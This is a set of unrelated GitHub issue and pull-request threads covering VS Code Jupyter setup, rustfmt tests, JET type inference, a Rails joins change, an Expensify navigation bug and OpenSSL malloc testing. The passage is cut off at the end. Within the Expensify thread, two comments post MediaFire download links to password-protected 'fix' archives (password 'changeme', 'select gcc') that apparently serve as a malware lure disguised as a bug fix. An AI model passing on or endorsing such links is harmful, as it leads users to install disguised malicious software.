Oups, I haven't seen this, sorry.
This project has been deprecated in favour of podman - I'll write it in the readme.

UPDATE: looking at it again I realized it didn't fix it - sorry.

Thanks for fixing it.


On a new machine after installing jupyter dependencies jupyter still will not launch until a restart

Clear out global storage to remove any saved jupyter interpreter data
Create a new folder with a .py file in it (or change the active non-jupyer interpreter to a fresh .venv without jupyter installed)
Try to start the interactive window or a notebook
You should get a prompt to install dependencies in the current active environment
Click yes to install them
When the install is done try to launch again, you get an error with no prompt

After closing and reopening VS Code the scenario should work.
Just to clarify about the bug state you want to be in a place where if you pick Select Jupyter Interpreter there is nothing in the current selection box (on top here):

And you want to have a python interpreter active here selected that does not have jupyter installed (otherwise our initial jupyter interpreter setting code will find it an use it).

Validated


population class and respective test

Current coverage is 100.00%

Merging #79 into master will not affect coverage as of 9cceb75

@@            master     #79   diff @@
======================================
  Files           27      27
  Stmts          933     933
  Branches         0       0
  Methods
======================================
  Hit            933     933
  Partial          0       0
  Missed           0       0

Review entire Coverage Diff as of 9cceb75

Powered by Codecov. Updated on successful CI builds.


test for issue 3164

Closes #3164
Show that when error_on_line_overflow=true is set in the rustfmt.toml that an error message is written to stderr.

The "stable" tests were failing because we couldn't set error_on_line_overflow=true via a rustfmt.toml. I've removed the rustfmt.toml that I was using for testing, and I've updated each test to pass the configuration value via the command line with --config=error_on_line_overflow=true.

Why the cargo-fmt test? Seems duplicative of the rustfmt test at first blush

The original issue mentioned cargo-fmt, so I figured for completeness I'd add a test where I invoke cargo-fmt

The original issue mentioned cargo-fmt, so I figured for completeness I'd add a test where I invoke cargo-fmt

Gotcha, in general unless there's something specific to cargo fmt (as opposed to that just being the user's entry point) there's no need to test something at the rustfmt level through cargo fmt too. However, it's not much extra code so fine here


Having some sort of change tracking log between versions would be of help

Hi,
I've just upgraded to version 2.8.0-alpha1 (Nuget) and both of my applications (client, server) stopped working. Rolling back to version 2.7.5 made it work again.
After trying to compare branches in the repo to see what changed, I simply stopped looking at the 36th modified file.
It would be great having some sort of change tracking mechanism in a more higher level than just looking at the repo.
Thanks a lot in advance,

Hi,
what exactly do you mean with "stopped working"? Exceptions?
Also please keep in mind this is a alpha release. There is no guarantee for anything at all.
Best regards
Christian

Hi Christian,
I'll try to create a test project working in similar way as my applications to be able to reproduce it. No exceptions. I tried two times the upgrade/downgrade process and got same results but I didn't have logging on the MQTT side.
Best regards,
Victor

If your issues are still existing with the release of 2.8.0 please let me know.


Updated image link for overview.

/cc @rootsongjc @fleeto

@gyliu513: GitHub didn't allow me to request PR reviews from the following users: rootsongjc, fleeto.
Note that only istio members and repo collaborators can review this PR, and authors cannot review their own PRs.

In response to this:

/cc @rootsongjc @fleeto

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: gyliu513
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

content_zh/OWNERS [gyliu513]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

/cc @geeknoid

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: gyliu513, rootsongjc
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

content_zh/OWNERS [gyliu513]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@rootsongjc: changing LGTM is restricted to assignees, and only istio/istio.github.io repo collaborators may be assigned issues.

In response to this:

/lgtm

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.


Example where getfield does not constant fold in JET

It's a little tricky to replicate, I'll see if I can make a smaller example. I'll try to describe what's going on so you might not need to replicate it fully.
For now, you can replicate it by checking out TranscodingStreams.jl commit 0dedb79 (from my repo: https://github.com/jakobnissen/TranscodingStreams.jl/tree/0dedb795faceef48ce8aa5385808d4ab91d02c30), and doing the following:
julia> using TranscodingStreams, CodecZlib, JET

julia> f(s) = open(
           i -> first(read(i, String), 10),
           GzipDecompressorStream ∘ NoopStream ∘ GzipCompressorStream ∘ NoopStream,
           s
       )
f (generic function with 1 method)

julia> @report_call f("Project.toml")

Here is the output:
═════ 1 possible error found ═════
┌ @ REPL[2]:1 Main.open(#1, Main.∘(Main.∘(Main.∘(Main.GzipDecompressorStream, Main.NoopStream), Main.GzipCompressorStream), Main.NoopStream), s)
│┌ @ /Users/jakobnissen/code/TranscodingStreams.jl/src/stream.jl:183 f(io)
││┌ @ REPL[2]:2 Main.read(i, Main.String)
│││┌ @ io.jl:969 Base.read(s)
││││┌ @ io.jl:964 #self#(s, Base.typemax(Base.Int))
│││││┌ @ io.jl:965 Base.readbytes!(s, b, nb)
││││││┌ @ /Users/jakobnissen/code/TranscodingStreams.jl/src/stream.jl:417 TranscodingStreams.eof(stream)
│││││││┌ @ /Users/jakobnissen/code/TranscodingStreams.jl/src/stream.jl:234 TranscodingStreams.fillbuffer(stream)
││││││││┌ @ /Users/jakobnissen/code/TranscodingStreams.jl/src/stream.jl:610 TranscodingStreams.#fillbuffer#11(false, #self#, stream)
│││││││││┌ @ /Users/jakobnissen/code/TranscodingStreams.jl/src/stream.jl:622 TranscodingStreams.readdata!(Base.getproperty(stream, :stream), buffer2)
││││││││││┌ @ /Users/jakobnissen/code/TranscodingStreams.jl/src/noop.jl:164 Base.setproperty!(buffer, :transcoded, TranscodingStreams.+(Base.getproperty(buffer, :transcoded), nfilled))
│││││││││││┌ @ Base.jl:43 Base.convert(Base.fieldtype(Base.typeof(x), f), v)
││││││││││││ for 1 of union split cases, no matching method found for call signatures (Tuple{typeof(convert), Type{Vector{UInt8}}, Int64})): Base.convert(Base.fieldtype(Base.typeof(x::TranscodingStreams.Buffer)::Type{TranscodingStreams.Buffer}, f::Symbol)::Union{Type{Vector{UInt8}}, Type{Int64}}, v::Int64)
│││││││││││└──────────────
(String, 1)

The weird thing is at the end. Line TranscodingStreams.jl/src/noop.jl:164 contains:
buffer.transcoded += nfilled

As can be seen from the final line of JET's output, buffer is inferred to be Buffer, which has the following layout:
Buffer <: Any
  data::Vector{UInt8}
  markpos::Int64
  bufferpos::Int64
  marginpos::Int64
  transcoded::Int64

And buffer.transcoded is inferred to be Union{Int64, Vector{UInt8}} - but this is despite JET realizing that the symbol :transcoded is constant. In other words, JET realizes it fetches getfield(::Buffer, :transcoded), but it does not realize that this is a Int64?

It might be better to use the latest version of Cthulhu.jl to understand how constant-prop' heuristics work on your code:
https://github.com/JuliaDebug/Cthulhu.jl/pull/225
And I guess you're on v1.7 ?
Actually v1.7 will fail to constant prop' for setproperty! calls when the return type is already constant (but constant-prop' is still useful to optimize the call, because setproperty! usually contains convert and such as in your program).
If that applies to this case, I "fixed" the heuristics on the latest master (https://github.com/JuliaLang/julia/pull/41882), so you may not see it on v1.8 :p
Having said that, we may want JET to constant-prop' far more aggressively so that we won't see this sort of error even on v1.7 ?

Unfortunately I can't load JET on Julia master:
julia> using JET
[ Info: Precompiling JET [c3a54625-cd67-489e-a8e7-0a5a0ff4e31b]
ERROR: LoadError: MethodError: no method matching Core.Compiler.OptimizationParams(; inlining=true, inline_cost_threshold=100, inline_nonleaf_penalty=1000, inline_tupleret_bonus=250, inline_error_path_cost=20, max_methods=3, tuple_splat=32, union_splitting=4, unoptimize_throw_blocks=true)
[ stacktrace elided ]

So yeah, I'm on Julia 1.7. I'll try to use Cthulhu to dig in now. It turned out to be quite difficult to make a minimal example, probably because the fillbuffer! function can call itself recursively with different types

Oh, please checkout to the latest master branch of JET. v0.4.6 isn't be compatible with the latest master. The latest master branch should work with it, and should analyze your code faster.
It might be tricky to debug constant prop' stuff, so please ask me any trouble you have.

I blundered around in the recursive calls in Chtulhu for a while and did find one of the calls where the getfield inferred to ::Any (weird, since JET infers it to a Union) but after 20 descends I have no idea where in the callchain I ended up, so not sure it's useful.
Anyway, I tried with latest JET on Julia's master branch, and the issue was gone! Thanks - and closing as solved.

Okay glad to know that. I may try to debug your code tomorrow if I have time.


Change includes(:following) to joins(:following) in following_by_type

I changed the includes(:following) to a joins(:following) in Follower#following_by_type. The reason for this was because we don't want to actually load the Follow objects, just use them as a WHERE condition. I ran into a problem with the current implementation when I was trying to use the SQL generated by following_by_type as a subquery in MySQL.
The test change requires slightly more explanation. As explained in detail in https://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/5060, combining COUNT and LIMIT is generally not supported (it doesn't work in Rails 3.0.x, but does seem to be working for me in Rails 3.1). Changing the includes to a joins caused the test to break, but the fact that it was originally passing was dubious, anyway. By explicitly converting the results to an array, test the becomes more robust.

Hi Peter,
I agree that we should use joins instead of includes by default.  However, sometimes you do want the Follow records loaded, say we are going to loop through a list of User followers for a record, we want to be able to call
current_user.followers_by_type('User').each do |user|
#do something here with the user and the follow record maybe, like when was that following created or something
end
So I tried to allow for that with this commit:
https://github.com/tcocca/acts_as_follower/commit/9401afd1ea33499a8f2db3b8eab11a69620a48d3
What are your thoughts?  I'm not really sure how to test this actually, any ideas?
Thanks for the pull request, it is a very sensible default behavior change I think.
~ Tom

Thanks Tom.
For the :include option, I agree that sometimes people will definitely want to include the Follow records. However, my understanding from your comment here (https://github.com/tcocca/acts_as_follower/issues/16#issuecomment-2166734) is that the arguments hash will soon be deprecated, in favour of encouraging people to chain .limit() and .includes() commands.
So my advice is to not try to continue to add functionality to the options hash (and conveniently, that also solves the problem of it being tricky to test).
But if you feel strongly about continuing the options hash functionality, then I don't think it's particularly harmful. I guess my approach to test it would be to stub out some ActiveRecord method that gets called when an SQL request is made, and then ensure that calling follows on the returned object doesn't cause that method to get called. But I don't know my ActiveRecord internals well enough to be able to say what that method would be.

Just released a 0.1.1 version with this fix.

Thanks again, Tom!

No problem, thanks again for the patch.
~ Tom
On Mon, Nov 7, 2011 at 9:40 AM, Peter McCracken <
<EMAIL_ADDRESS>
Thanks again, Tom!

Reply to this email directly or view it on GitHub:
https://github.com/tcocca/acts_as_follower/pull/17#issuecomment-2654147


Workspace - User briefly lands to LHN when go back after creating workspace via breadcrumbs

If you haven’t already, check out our contributing guidelines for onboarding and email<EMAIL_ADDRESS>to request to join our Slack channel!

Version Number: 9.0.25-0
Reproducible in staging?: Y
Reproducible in production?: Y
If this was caught during regression testing, add the test name, ID and link from TestRail: N/A
Email or phone of affected tester (no customers<EMAIL_ADDRESS>Issue reported by: Applause - Internal Team
Action Performed:

Go to Breadcrumbs option
Tap on + button to create Workspace
After creation tap on Back button

Expected Result:
User should land on Breadcrumbs page
Actual Result:
LHN briefly showed before user land on Breadcrumbs page
Workaround:
Unknown
Platforms:

Which of our officially supported platforms is this issue occurring on?

[x] Android: Native
[ ] Android: mWeb Chrome
[ ] iOS: Native
[ ] iOS: mWeb Safari
[ ] MacOS: Chrome / Safari
[ ] MacOS: Desktop

Screenshots/Videos
Add any screenshot/video evidence

https://github.com/user-attachments/assets/0649d8a7-194d-421f-9049-b348db8fce36
View all open jobs on GitHub

@jliexpensify  FYI I haven't added the External label as I wasn't 100% sure about this issue. Please take a look and add the label if you agree it's a bug and can be handled by external contributors

We think that this bug might be related to #wave-collect - Release 1

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/xs3e15yonljh4bk/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Not seeing this on 25-3, I am on the breadcrumb page. Closing.


Improve Malloc Failure Test

Allow 2 digits after the comma in percentage in OPENSSL_MALLOC_FAILURES. Add OPENSSL_MALLOC_SEED to allow for some randomization.

Checklist

[ ] documentation is added or updated
[ ] tests are added or updated

This pull request is ready to merge

Merged to the master, 3.1 and 3.0 branches. Thank you.


Property dependency injection enchancment

Current behavior
Injecting properties is supported with the @InjectProperty("name") annotation. However, the PropertyDependencyResolver always returns PropertyValue objects. Most of the time injection will happen into a different type, like String, Integer, etc.
Expected behavior
The PropertyDependencyResolver converts the resolved property to the expected type, before returning it. There is a procedure applied:

If there is a PropertyConverter for that exact type, use that.
If there is no PropertyConverter for the exact type, check for assignable types.
If there is no matching converter, throw appropriate exception.

It should work for primitives!
Details
PropertyConverter interface needs to be improved, and more implementations added.

New default methods: matchesExactType, matchesAssignableType.
New implementations: PropertyValueProperyConverter, ObjectPropertyConverter, IntegerPropertyConverter, DoublePropertyConverter.

PropertyConverterAggregator should be introduced which works on a list of PropertyConverters.
PropertyDependencyResolver should receive the aggregator and apply it to resolved dependency.

Additional improvement: check PropertyConvertersFactory. Make it more e